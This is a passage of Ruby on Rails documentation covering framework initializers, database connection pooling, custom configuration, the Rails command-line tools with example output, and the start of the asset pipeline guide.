action_view.set_configs: Sets up Action View by using the settings in config.action_view by send'ing the method names as setters to ActionView::Base and passing the values through.

action_controller.assets_config: Initializes the config.action_controller.assets_dir to the app's public directory if not explicitly configured.

action_controller.set_helpers_path: Sets Action Controller's helpers_path to the application's helpers_path.

action_controller.parameters_config: Configures strong parameters options for ActionController::Parameters.

action_controller.set_configs: Sets up Action Controller by using the settings in config.action_controller by send'ing the method names as setters to ActionController::Base and passing the values through.

action_controller.compile_config_methods: Initializes methods for the config settings specified so that they are quicker to access.

active_record.initialize_timezone: Sets ActiveRecord::Base.time_zone_aware_attributes to true, as well as setting ActiveRecord::Base.default_timezone to UTC. When attributes are read from the database, they will be converted into the time zone specified by Time.zone.

active_record.logger: Sets ActiveRecord::Base.logger - if it's not already set - to Rails.logger.

active_record.migration_error: Configures middleware to check for pending migrations.

active_record.check_schema_cache_dump: Loads the schema cache dump if configured and available.

active_record.warn_on_records_fetched_greater_than: Enables warnings when queries return large numbers of records.

active_record.set_configs: Sets up Active Record by using the settings in config.active_record by send'ing the method names as setters to ActiveRecord::Base and passing the values through.

active_record.initialize_database: Loads the database configuration (by default) from config/database.yml and establishes a connection for the current environment.

active_record.log_runtime: Includes ActiveRecord::Railties::ControllerRuntime which is responsible for reporting the time taken by Active Record calls for the request back to the logger.

active_record.set_reloader_hooks: Resets all reloadable connections to the database if config.cache_classes is set to false.

active_record.add_watchable_files: Adds schema.rb and structure.sql files to watchable files.

active_job.logger: Sets ActiveJob::Base.logger - if it's not already set - to Rails.logger.

active_job.set_configs: Sets up Active Job by using the settings in config.active_job by send'ing the method names as setters to ActiveJob::Base and passing the values through.

action_mailer.logger: Sets ActionMailer::Base.logger - if it's not already set - to Rails.logger.

action_mailer.set_configs: Sets up Action Mailer by using the settings in config.action_mailer by send'ing the method names as setters to ActionMailer::Base and passing the values through.

action_mailer.compile_config_methods: Initializes methods for the config settings specified so that they are quicker to access.

set_load_path: This initializer runs before bootstrap_hook. Adds paths specified by config.load_paths and all autoload paths to $LOAD_PATH.

set_autoload_paths: This initializer runs before bootstrap_hook. Adds all sub-directories of app and paths specified by config.autoload_paths, config.eager_load_paths and config.autoload_once_paths to ActiveSupport::Dependencies.autoload_paths.

add_routing_paths: Loads (by default) all config/routes.rb files (in the application and railties, including engines) and sets up the routes for the application.

add_locales: Adds the files in config/locales (from the application, railties, and engines) to I18n.load_path, making available the translations in these files.

add_view_paths: Adds the directory app/views from the application, railties, and engines to the lookup path for view files for the application.

load_environment_config: This initializer runs before load_environment_hook. Loads the config/environments file for the current environment.

prepend_helpers_path: Adds the directory app/helpers from the application, railties, and engines to the lookup path for helpers for the application.

load_config_initializers: Loads all Ruby files from config/initializers in the application, railties, and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.

engines_blank_point: Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.

add_generator_templates: Finds templates for generators at lib/templates for the application, railties, and engines, and adds these to the config.generators.templates setting, which will make the templates available for all generators to reference.

ensure_autoload_once_paths_as_subset: Ensures that the config.autoload_once_paths only contains paths from config.autoload_paths. If it contains extra paths, then an exception will be raised.

add_to_prepare_blocks: The block for every config.to_prepare call in the application, a railtie, or engine is added to the to_prepare callbacks for Action Dispatch which will be run per request in development, or before the first request in production.

add_builtin_route: If the application is running under the development environment then this will append the route for rails/info/properties to the application routes. This route provides the detailed information such as Rails and Ruby version for public/index.html in a default Rails application.

build_middleware_stack: Builds the middleware stack for the application, returning an object which has a call method which takes a Rack environment object for the request.

eager_load!: If config.eager_load is true, runs the config.before_eager_load hooks and then calls eager_load! which will load all config.eager_load_namespaces.

finisher_hook: Provides a hook for after the initialization of process of the application is complete, as well as running all the config.after_initialize blocks for the application, railties, and engines.

set_routes_reloader_hook: Configures Action Dispatch to reload the routes file using ActiveSupport::Callbacks.to_run.

disable_dependency_loading: Disables the automatic dependency loading if the config.eager_load is set to true.

7 Database Pooling

Active Record database connections are managed by ActiveRecord::ConnectionAdapters::ConnectionPool which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in database.yml.

  development:
  adapter: sqlite3
  database: db/development.sqlite3
  pool: 5
  timeout: 5000

Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, Puma, Unicorn, etc.) should behave the same. The database connection pool is initially empty. As demand for connections increases it will create them until it reaches the connection pool limit.

Any one request will check out a connection the first time it requires access to the database. At the end of the request it will check the connection back in. This means that the additional connection slot will be available again for the next request in the queue.

If you try to use more connections than are available, Active Record will block you and wait for a connection from the pool. If it cannot get a connection, a timeout error similar to that given below will be thrown.

  ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5.000 seconds (waited 5.000 seconds)

If you get the above error, you might want to increase the size of the connection pool by incrementing the pool option in database.yml

If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited number of connections.

8 Custom Configuration

You can configure your own code through the Rails configuration object with custom configuration under either the config.x namespace, or config directly. The key difference between these two is that you should be using config.x if you are defining nested configuration (ex: config.x.nested.hi), and just config for single level configuration (ex: config.hello).

  config.x.payment_processing.schedule = :daily
config.x.payment_processing.retries  = 3
config.super_debugger = true

These configuration points are then available through the configuration object:

  Rails.configuration.x.payment_processing.schedule # => :daily
Rails.configuration.x.payment_processing.retries  # => 3
Rails.configuration.x.payment_processing.not_set  # => nil
Rails.configuration.super_debugger                # => true

You can also use Rails::Application.config_for to load whole configuration files:

  # config/payment.yml
production:
  environment: production
  merchant_id: production_merchant_id
  public_key:  production_public_key
  private_key: production_private_key

development:
  environment: sandbox
  merchant_id: development_merchant_id
  public_key:  development_public_key
  private_key: development_private_key

  # config/application.rb
module MyApp
  class Application < Rails::Application
    config.payment = config_for(:payment)
  end
end

  Rails.configuration.payment['merchant_id'] # => production_merchant_id or development_merchant_id

Rails::Application.config_for supports a shared configuration to group common configurations. The shared configuration will be merged into the environment configuration.

  # config/example.yml
shared:
  foo:
    bar:
      baz: 1

development:
  foo:
    bar:
      qux: 2

  # development environment
Rails.application.config_for(:example)[:foo][:bar] #=> { baz: 1, qux: 2 }

9 Search Engines Indexing

Sometimes, you may want to prevent some pages of your application to be visible on search sites like Google, Bing, Yahoo, or Duck Duck Go. The robots that index these sites will first analyze the http://your-site.com/robots.txt file to know which pages it is allowed to index.

Rails creates this file for you inside the /public folder. By default, it allows search engines to index all pages of your application. If you want to block indexing on all pages of your application, use this:

  User-agent: *
Disallow: /

To block just specific pages, it's necessary to use a more complex syntax. Learn it on the official documentation.

10 Evented File System Monitor

If the listen gem is loaded Rails uses an evented file system monitor to detect changes when config.cache_classes is false:

  group :development do
  gem 'listen', '~> 3.3'
end

Otherwise, in every request Rails walks the application tree to check if anything has changed.

On Linux and macOS no additional gems are needed, but some are required for *BSD and for Windows.

Note that some setups are unsupported.

The Rails Command Line

After reading this guide, you will know:

How to create a Rails application.

How to generate models, controllers, database migrations, and unit tests.

How to start a development server.

How to experiment with objects through an interactive shell.

Chapters

Creating a Rails App

rails new

Command Line Basics

bin/rails server

bin/rails generate

bin/rails console

bin/rails dbconsole

bin/rails runner

bin/rails destroy

bin/rails about

bin/rails assets:

bin/rails db:

bin/rails notes

bin/rails routes

bin/rails test

bin/rails tmp:

Miscellaneous

Custom Rake Tasks

The Rails Advanced Command Line

Rails with Databases and SCM

This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide.

1 Creating a Rails App

First, let's create a simple Rails application using the rails new command.

We will use this application to play and discover all the commands described in this guide.

You can install the rails gem by typing gem install rails, if you don't have it already.

1.1 rails new

The first argument we'll pass to the rails new command is the application name.

  $ rails new my_app
     create
     create  README.md
     create  Rakefile
     create  config.ru
     create  .gitignore
     create  Gemfile
     create  app
     ...
     create  tmp/cache
     ...
        run  bundle install

Rails will set up what seems like a huge amount of stuff for such a tiny command! We've got the entire Rails directory structure now with all the code we need to run our simple application right out of the box.

If you wish to skip some files from being generated or skip some libraries, you can append any of the following arguments to your rails new command:

Argument | Description
--skip-git | Skip git init, .gitignore, and .gitattributes
--skip-keeps | Skip source control .keep files
--skip-action-mailer | Skip Action Mailer files
--skip-action-mailbox | Skip Action Mailbox gem
--skip-action-text | Skip Action Text gem
--skip-active-record | Skip Active Record files
--skip-active-job | Skip Active Job
--skip-active-storage | Skip Active Storage files
--skip-action-cable | Skip Action Cable files
--skip-asset-pipeline | Skip Asset Pipeline
--skip-javascript | Skip JavaScript files
--skip-hotwire | Skip Hotwire integration
--skip-jbuilder | Skip jbuilder gem
--skip-test | Skip test files
--skip-system-test | Skip system test files
--skip-bootsnap | Skip bootsnap gem

These are just some of the options that rails new accepts. For a full list of options, type rails new --help.

2 Command Line Basics

There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:

bin/rails console

bin/rails server

bin/rails test

bin/rails generate

bin/rails db:migrate

bin/rails db:create

bin/rails routes

bin/rails dbconsole

rails new app_name

You can get a list of rails commands available to you, which will often depend on your current directory, by typing rails --help. Each command has a description, and should help you find the thing you need.

  $ rails --help
Usage: rails COMMAND [ARGS]

The most common rails commands are:
 generate    Generate new code (short-cut alias: "g")
 console     Start the Rails console (short-cut alias: "c")
 server      Start the Rails server (short-cut alias: "s")
 ...

All commands can be run with -h (or --help) for more information.

In addition to those commands, there are:
 about                               List versions of all Rails ...
 assets:clean[keep]                  Remove old compiled assets
 assets:clobber                      Remove compiled assets
 assets:environment                  Load asset compile environment
 assets:precompile                   Compile all the assets ...
 ...
 db:fixtures:load                    Loads fixtures into the ...
 db:migrate                          Migrate the database ...
 db:migrate:status                   Display status of migrations
 db:rollback                         Rolls the schema back to ...
 db:schema:cache:clear               Clears a db/schema_cache.yml file
 db:schema:cache:dump                Creates a db/schema_cache.yml file
 db:schema:dump                      Creates a database schema file (either db/schema.rb or db/structure.sql ...
 db:schema:load                      Loads a database schema file (either db/schema.rb or db/structure.sql ...
 db:seed                             Loads the seed data ...
 db:version                          Retrieves the current schema ...
 ...
 restart                             Restart app by touching ...
 tmp:create                          Creates tmp directories ...

2.1 bin/rails server

The bin/rails server command launches a web server named Puma which comes bundled with Rails. You'll use this any time you want to access your application through a web browser.

With no further work, bin/rails server will run our new shiny Rails app:

  $ cd my_app
$ bin/rails server
=> Booting Puma
=> Rails 7.0.0 application starting in development
=> Run `bin/rails server --help` for more startup options
Puma starting in single mode...
* Version 3.12.1 (ruby 2.5.7-p206), codename: Llamas in Pajamas
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://localhost:3000
Use Ctrl-C to stop

With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open http://localhost:3000, you will see a basic Rails app running.

You can also use the alias "s" to start the server: bin/rails s.

The server can be run on a different port using the -p option. The default development environment can be changed using -e.

  $ bin/rails server -e production -p 4000

The -b option binds Rails to the specified IP, by default it is localhost. You can run a server as a daemon by passing a -d option.

2.2 bin/rails generate

The bin/rails generate command uses templates to create a whole lot of things. Running bin/rails generate by itself gives a list of available generators:

You can also use the alias "g" to invoke the generator command: bin/rails g.

  $ bin/rails generate
Usage: rails generate GENERATOR [args] [options]

...
...

Please choose a generator below.

Rails:
  assets
  channel
  controller
  generator
  ...
  ...

You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!

Using generators will save you a large amount of time by writing boilerplate code, code that is necessary for the app to work.

Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:

All Rails console utilities have help text. As with most *nix utilities, you can try adding --help or -h to the end, for example bin/rails server --help.

  $ bin/rails generate controller
Usage: bin/rails generate controller NAME [action action] [options]

...
...

Description:
    ...

    To create a controller within a module, specify the controller name as a path like 'parent_module/controller_name'.

    ...

Example:
    `bin/rails generate controller CreditCards open debit credit close`

    Credit card controller with URLs like /credit_cards/debit.
        Controller: app/controllers/credit_cards_controller.rb
        Test:       test/controllers/credit_cards_controller_test.rb
        Views:      app/views/credit_cards/debit.html.erb [...]
        Helper:     app/helpers/credit_cards_helper.rb

The controller generator is expecting parameters in the form of generate controller ControllerName action1 action2. Let's make a Greetings controller with an action of hello, which will say something nice to us.

  $ bin/rails generate controller Greetings hello
     create  app/controllers/greetings_controller.rb
      route  get 'greetings/hello'
     invoke  erb
     create    app/views/greetings
     create    app/views/greetings/hello.html.erb
     invoke  test_unit
     create    test/controllers/greetings_controller_test.rb
     invoke  helper
     create    app/helpers/greetings_helper.rb
     invoke    test_unit

What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file, and a stylesheet file.

Check out the controller and modify it a little (in app/controllers/greetings_controller.rb):

  class GreetingsController < ApplicationController
  def hello
    @message = "Hello, how are you today?"
  end
end

Then the view, to display our message (in app/views/greetings/hello.html.erb):

  <h1>A Greeting for You!</h1>
<p><%= @message %></p>

Fire up your server using bin/rails server.

  $ bin/rails server
=> Booting Puma...

The URL will be http://localhost:3000/greetings/hello.

With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the index action of that controller.

Rails comes with a generator for data models too.

  $ bin/rails generate model
Usage:
  bin/rails generate model NAME [field[:type][:index] field[:type][:index]] [options]

...

ActiveRecord options:
      [--migration], [--no-migration]        # Indicates when to generate migration
                                             # Default: true

...

Description:
    Generates a new model. Pass the model name, either CamelCased or
    under_scored, and an optional list of attribute pairs as arguments.

...

For a list of available field types for the type parameter, refer to the API documentation for the add_column method for the SchemaStatements module. The index parameter generates a corresponding index for the column.

But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A scaffold in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.

We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.

  $ bin/rails generate scaffold HighScore game:string score:integer
    invoke  active_record
    create    db/migrate/20190416145729_create_high_scores.rb
    create    app/models/high_score.rb
    invoke    test_unit
    create      test/models/high_score_test.rb
    create      test/fixtures/high_scores.yml
    invoke  resource_route
     route    resources :high_scores
    invoke  scaffold_controller
    create    app/controllers/high_scores_controller.rb
    invoke    erb
    create      app/views/high_scores
    create      app/views/high_scores/index.html.erb
    create      app/views/high_scores/edit.html.erb
    create      app/views/high_scores/show.html.erb
    create      app/views/high_scores/new.html.erb
    create      app/views/high_scores/_form.html.erb
    invoke    test_unit
    create      test/controllers/high_scores_controller_test.rb
    create      test/system/high_scores_test.rb
    invoke    helper
    create      app/helpers/high_scores_helper.rb
    invoke      test_unit
    invoke    jbuilder
    create      app/views/high_scores/index.json.jbuilder
    create      app/views/high_scores/show.json.jbuilder
    create      app/views/high_scores/_high_score.json.jbuilder

The generator creates the model, views, controller, resource route, and database migration (which creates the high_scores table) for HighScore. And it adds tests for those.

The migration requires that we migrate, that is, run some Ruby code (the 20190416145729_create_high_scores.rb file from the above output) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the bin/rails db:migrate command. We'll talk more about that command below.

  $ bin/rails db:migrate
==  CreateHighScores: migrating ===============================================
-- create_table(:high_scores)
   -> 0.0017s
==  CreateHighScores: migrated (0.0019s) ======================================

Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. Please visit the testing guide for an in-depth look at unit testing.

Let's see the interface Rails created for us.

  $ bin/rails server

Go to your browser and open http://localhost:3000/high_scores, now we can create new high scores (55,160 on Space Invaders!)

2.3 bin/rails console

The console command lets you interact with your Rails application from the command line. On the underside, bin/rails console uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.

You can also use the alias "c" to invoke the console: bin/rails c.

You can specify the environment in which the console command should operate.

  $ bin/rails console -e staging

If you wish to test out some code without changing any data, you can do that by invoking bin/rails console --sandbox.

  $ bin/rails console --sandbox
Loading development environment in sandbox (Rails 7.0.0)
Any modifications you make will be rolled back on exit
irb(main):001:0>

2.3.1 The app and helper Objects

Inside the bin/rails console you have access to the app and helper instances.

With the app method you can access named route helpers, as well as do requests.

  irb> app.root_path
=> "/"

irb> app.get _
Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300
...

With the helper method it is possible to access Rails and your application's helpers.

  irb> helper.time_ago_in_words 30.days.ago
=> "about 1 month"

irb> helper.my_custom_helper
=> "my custom helper"

2.4 bin/rails dbconsole

bin/rails dbconsole figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL (including MariaDB), PostgreSQL, and SQLite3.

You can also use the alias "db" to invoke the dbconsole: bin/rails db.

If you are using multiple databases, bin/rails dbconsole will connect to the primary database by default. You can specify which database to connect to using --database or --db:

  $ bin/rails dbconsole --database=animals

2.5 bin/rails runner

runner runs Ruby code in the context of Rails non-interactively. For instance:

  $ bin/rails runner "Model.long_running_method"

You can also use the alias "r" to invoke the runner: bin/rails r.

You can specify the environment in which the runner command should operate using the -e switch.

  $ bin/rails runner -e staging "Model.long_running_method"

You can even execute ruby code written in a file with runner.

  $ bin/rails runner lib/code_to_be_run.rb

2.6 bin/rails destroy

Think of destroy as the opposite of generate. It'll figure out what generate did, and undo it.

You can also use the alias "d" to invoke the destroy command: bin/rails d.

  $ bin/rails generate model Oops
      invoke  active_record
      create    db/migrate/20120528062523_create_oops.rb
      create    app/models/oops.rb
      invoke    test_unit
      create      test/models/oops_test.rb
      create      test/fixtures/oops.yml

  $ bin/rails destroy model Oops
      invoke  active_record
      remove    db/migrate/20120528062523_create_oops.rb
      remove    app/models/oops.rb
      invoke    test_unit
      remove      test/models/oops_test.rb
      remove      test/fixtures/oops.yml

2.7 bin/rails about

bin/rails about gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.

  $ bin/rails about
About your application's environment
Rails version             7.0.0
Ruby version              2.7.0 (x86_64-linux)
RubyGems version          2.7.3
Rack version              2.0.4
JavaScript Runtime        Node.js (V8)
Middleware:               Rack::Sendfile, ActionDispatch::Static, ActionDispatch::Executor, ActiveSupport::Cache::Strategy::LocalCache::Middleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, ActionDispatch::RemoteIp, Sprockets::Rails::QuietAssets, Rails::Rack::Logger, ActionDispatch::ShowExceptions, WebConsole::Middleware, ActionDispatch::DebugExceptions, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, Rack::Head, Rack::ConditionalGet, Rack::ETag
Application root          /home/foobar/my_app
Environment               development
Database adapter          sqlite3
Database schema version   20180205173523

2.8 bin/rails assets:

You can precompile the assets in app/assets using bin/rails assets:precompile, and remove older compiled assets using bin/rails assets:clean. The assets:clean command allows for rolling deploys that may still be linking to an old asset while the new assets are being built.

If you want to clear public/assets completely, you can use bin/rails assets:clobber.

2.9 bin/rails db:

The most common commands of the db: rails namespace are migrate and create, and it will pay off to try out all of the migration rails commands (up, down, redo, reset). bin/rails db:version is useful when troubleshooting, telling you the current version of the database.

More information about migrations can be found in the Migrations guide.

2.10 bin/rails notes

bin/rails notes searches through your code for comments beginning with a specific keyword. You can refer to bin/rails notes --help for information about usage.

By default, it will search in app, config, db, lib, and test directories for FIXME, OPTIMIZE, and TODO annotations in files with extension .builder, .rb, .rake, .yml, .yaml, .ruby, .css, .js, and .erb.

  $ bin/rails notes
app/controllers/admin/users_controller.rb:
  * [ 20] [TODO] any other way to do this?
  * [132] [FIXME] high priority for next deploy

lib/school.rb:
  * [ 13] [OPTIMIZE] refactor this code to make it faster
  * [ 17] [FIXME]

2.10.1 Annotations

You can pass specific annotations by using the --annotations argument. By default, it will search for FIXME, OPTIMIZE, and TODO. Note that annotations are case sensitive.

  $ bin/rails notes --annotations FIXME RELEASE
app/controllers/admin/users_controller.rb:
  * [101] [RELEASE] We need to look at this before next release
  * [132] [FIXME] high priority for next deploy

lib/school.rb:
  * [ 17] [FIXME]

2.10.2 Tags

You can add more default tags to search for by using config.annotations.register_tags. It receives a list of tags.

  config.annotations.register_tags("DEPRECATEME", "TESTME")

  $ bin/rails notes
app/controllers/admin/users_controller.rb:
  * [ 20] [TODO] do A/B testing on this
  * [ 42] [TESTME] this needs more functional tests
  * [132] [DEPRECATEME] ensure this method is deprecated in next release

2.10.3 Directories

You can add more default directories to search from by using config.annotations.register_directories. It receives a list of directory names.

  config.annotations.register_directories("spec", "vendor")

  $ bin/rails notes
app/controllers/admin/users_controller.rb:
  * [ 20] [TODO] any other way to do this?
  * [132] [FIXME] high priority for next deploy

lib/school.rb:
  * [ 13] [OPTIMIZE] Refactor this code to make it faster
  * [ 17] [FIXME]

spec/models/user_spec.rb:
  * [122] [TODO] Verify the user that has a subscription works

vendor/tools.rb:
  * [ 56] [TODO] Get rid of this dependency

2.10.4 Extensions

You can add more default file extensions to search from by using config.annotations.register_extensions. It receives a list of extensions with its corresponding regex to match it up.

  config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }

  $ bin/rails notes
app/controllers/admin/users_controller.rb:
  * [ 20] [TODO] any other way to do this?
  * [132] [FIXME] high priority for next deploy

app/assets/stylesheets/application.css.sass:
  * [ 34] [TODO] Use pseudo element for this class

app/assets/stylesheets/application.css.scss:
  * [  1] [TODO] Split into multiple components

lib/school.rb:
  * [ 13] [OPTIMIZE] Refactor this code to make it faster
  * [ 17] [FIXME]

spec/models/user_spec.rb:
  * [122] [TODO] Verify the user that has a subscription works

vendor/tools.rb:
  * [ 56] [TODO] Get rid of this dependency

2.11 bin/rails routes

bin/rails routes will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.

2.12 bin/rails test

A good description of unit testing in Rails is given in A Guide to Testing Rails Applications

Rails comes with a test framework called minitest. Rails owes its stability to the use of tests. The commands available in the test: namespace helps in running the different tests you will hopefully write.

2.13 bin/rails tmp:

The Rails.root/tmp directory is, like the *nix /tmp directory, the holding place for temporary files like process id files and cached actions.

The tmp: namespaced commands will help you clear and create the Rails.root/tmp directory:

bin/rails tmp:cache:clear clears tmp/cache.

bin/rails tmp:sockets:clear clears tmp/sockets.

bin/rails tmp:screenshots:clear clears tmp/screenshots.

bin/rails tmp:clear clears all cache, sockets, and screenshot files.

bin/rails tmp:create creates tmp directories for cache, sockets, and pids.

2.14 Miscellaneous

bin/rails initializers prints out all defined initializers in the order they are invoked by Rails.

bin/rails middleware lists Rack middleware stack enabled for your app.

bin/rails stats is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.

bin/rails secret will give you a pseudo-random key to use for your session secret.

bin/rails time:zones:all lists all the timezones Rails knows about.

2.15 Custom Rake Tasks

Custom rake tasks have a .rake extension and are placed in Rails.root/lib/tasks. You can create these custom rake tasks with the bin/rails generate task command.

  desc "I am short, but comprehensive description for my cool task"
task task_name: [:prerequisite_task, :another_task_we_depend_on] do
  # All your magic here
  # Any valid Ruby code is allowed
end

To pass arguments to your custom rake task:

  task :task_name, [:arg_1] => [:prerequisite_1, :prerequisite_2] do |task, args|
  argument_1 = args.arg_1
end

You can group tasks by placing them in namespaces:

  namespace :db do
  desc "This task does nothing"
  task :nothing do
    # Seriously, nothing
  end
end

Invocation of the tasks will look like:

  $ bin/rails task_name
$ bin/rails "task_name[value 1]" # entire argument string should be quoted
$ bin/rails "task_name[value 1,value2,value3]" # separate multiple args with a comma
$ bin/rails db:nothing

If you need to interact with your application models, perform database queries, and so on, your task should depend on the environment task, which will load your application code.

3 The Rails Advanced Command Line

More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.

3.1 Rails with Databases and SCM

When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.

Let's see what a --git option and a --database=postgresql option will do for us:

  $ mkdir gitapp
$ cd gitapp
$ git init
Initialized empty Git repository in .git/
$ rails new . --git --database=postgresql
      exists
      create  app/controllers
      create  app/helpers
...
...
      create  tmp/cache
      create  tmp/pids
      create  Rakefile
add 'Rakefile'
      create  README.md
add 'README.md'
      create  app/controllers/application_controller.rb
add 'app/controllers/application_controller.rb'
      create  app/helpers/application_helper.rb
...
      create  log/test.log
add 'log/test.log'

We had to create the gitapp directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:

  $ cat config/database.yml
# PostgreSQL. Versions 9.3 and up are supported.
#
# Install the pg driver:
#   gem install pg
# On macOS with Homebrew:
#   gem install pg -- --with-pg-config=/usr/local/bin/pg_config
# On macOS with MacPorts:
#   gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
# On Windows:
#   gem install pg
#       Choose the win32 build.
#       Install PostgreSQL and put its /bin directory on your path.
#
# Configure Using Gemfile
# gem 'pg'
#
default: &default
  adapter: postgresql
  encoding: unicode
  # For details on connection pooling, see Rails configuration guide
  # https://guides.rubyonrails.org/configuring.html#database-pooling
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>

development:
  <<: *default
  database: gitapp_development
...
...

It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.

The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the rails new command to generate the basis of your app.

The Asset Pipeline

This guide covers the asset pipeline.

After reading this guide, you will know:

What the asset pipeline is and what it does.

How to properly organize your application assets.

The benefits of the asset pipeline.

How to add a pre-processor to the pipeline.

How to package assets with a gem.

Chapters

What is the Asset Pipeline?

Main Features

What is Fingerprinting and Why Should I Care?

How to Use the Asset Pipeline

Controller Specific Assets

Asset Organization

Coding Links to Assets

Manifest Files and Directives

Preprocessing

In Development

Raise an Error When an Asset is Not Found

Turning Digests Off

Turning Source Maps On

In Production

Precompiling Assets

Local Precompilation

Live Compilation

CDNs

Customizing the Pipeline

CSS Compression

JavaScript Compression

GZipping Your Assets

Using Your Own Compressor

Changing the assets Path

X-Sendfile Headers

Assets Cache Store

Adding Assets to Your Gems

Making Your Library or Gem a Pre-Processor

1 What is the Asset Pipeline?

The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages and pre-processors such as CoffeeScript, Sass, and ERB. It allows assets in your application to be automatically combined with assets from other gems.

The asset pipeline is implemented by the sprockets-rails gem, and is enabled by default. You can disable it while creating a new application by passing the --skip-asset-pipeline option.

  $ rails new appname --skip-asset-pipeline

Rails can easily work with Sass by adding the sassc-rails gem to your Gemfile, which is used by Sprockets for Sass compilation:

  gem 'sassc-rails'

To set asset compression methods, set the appropriate configuration options in production.rb - config.assets.css_compressor for your CSS and config.assets.js_compressor for your JavaScript:

  config.assets.css_compressor = :yui
config.assets.js_compressor = :terser

The sassc-rails gem is automatically used for CSS compression if included in the Gemfile and no config.assets.css_compressor option is set.

1.1 Main Features

The first feature of the pipeline is to concatenate assets, which can reduce the number of requests that a browser makes to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application.

Sprockets concatenates all JavaScript files into one master .js file and all CSS files into one master .css file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an SHA256 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents.

The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own.

The third feature of the asset pipeline is it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default.

1.2 What is Fingerprinting and Why Should I Care?

Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates.

When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as cache busting.

The technique Sprockets uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file global.css

  global-908e25f4bf641868d8683022a5b62f54.css

This is the strategy adopted by the Rails asset pipeline.

Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this:

  /stylesheets/global.css?1309495796

The query string strategy has several disadvantages:

Not all caches will reliably cache content where the filename only differs by query parameters

Steve Souders recommends, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.

The file name can change between nodes in multi-server environments.

The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request.

Too much cache invalidation

When static assets are deployed with each new release of code, the mtime (time of last modification) of all these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.

Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content.

Fingerprinting is enabled by default for both the development and production environments. You can enable or disable it in your configuration through the config.assets.digest option.

More reading:

Optimize caching

Revving Filenames: don't use querystring

2 How to Use the Asset Pipeline

In previous versions of Rails, all assets were located in subdirectories of public such as images, javascripts and stylesheets. With the asset pipeline, the preferred location for these assets is now the app/assets directory. Files in this directory are served by the Sprockets middleware.

